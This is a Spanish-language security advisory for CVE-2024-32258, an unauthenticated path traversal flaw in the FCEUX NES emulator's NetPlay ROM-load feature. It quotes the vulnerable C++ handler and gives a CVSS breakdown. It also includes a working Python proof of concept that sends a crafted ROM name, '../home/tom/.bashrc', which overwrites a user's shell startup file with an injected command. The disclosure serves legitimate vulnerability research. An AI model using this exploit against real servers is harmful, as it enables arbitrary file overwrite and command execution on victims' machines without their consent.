
FCEUX es un emulador de NES que puede llevarnos de vuelta a nuestra infancia. Proporciona múltiples funciones interesantes, como la posibilidad de que dos jugadores jueguen en línea.
El servidor y el cliente pueden pasarse ROMs entre sí, pero el servidor no filtra los caracteres especiales en los nombres de ROM enviados por el cliente. Esta vulnerabilidad de path traversal puede provocar que cualquier archivo del servidor sea sobrescrito. Aún más grave es que la carga remota de ROMs no requiere autenticación, incluso si la configuración del servidor exige una contraseña para iniciar sesión.
Fue introducida durante el commit 798c5a1d9c73b899cdbe3d613c0022588281979f - Para NetPlay, se añadió la capacidad de que el cliente solicite una ROM para cargar.
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
Tanto msf->fileName como fp son especificados por el atacante.
Puedes obtener fceux mediante la compilación del código fuente, o puedes usar directamente nuestro binario compilado. fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
¡Diviértete! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
Alta 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li y Yijie Xun (Northwestern Polytechnical University)
| CVSS3.1 | Puntuación | Detalle |
|---|
| ATTACK VECTOR | Network | lanzar el ataque a través de la red |
| ATTACK COMPLEXITY | Low | solo hay que enviar dos mensajes |
| PRIVILEGES REQUIRED | None | no se requieren permisos para enviar el paquete de ataque |
| USER INTERACTION | Require | hacer clic en el botón de confirmación para cargar la ROM. |
| SCOPE | Unchanged | N/A |
| CONFIDENTIALITY | High | sobrescritura arbitraria de archivos |
| INTEGRITY | High | sobrescritura arbitraria de archivos |
| AVAILABILITY | High | sobrescritura arbitraria de archivos |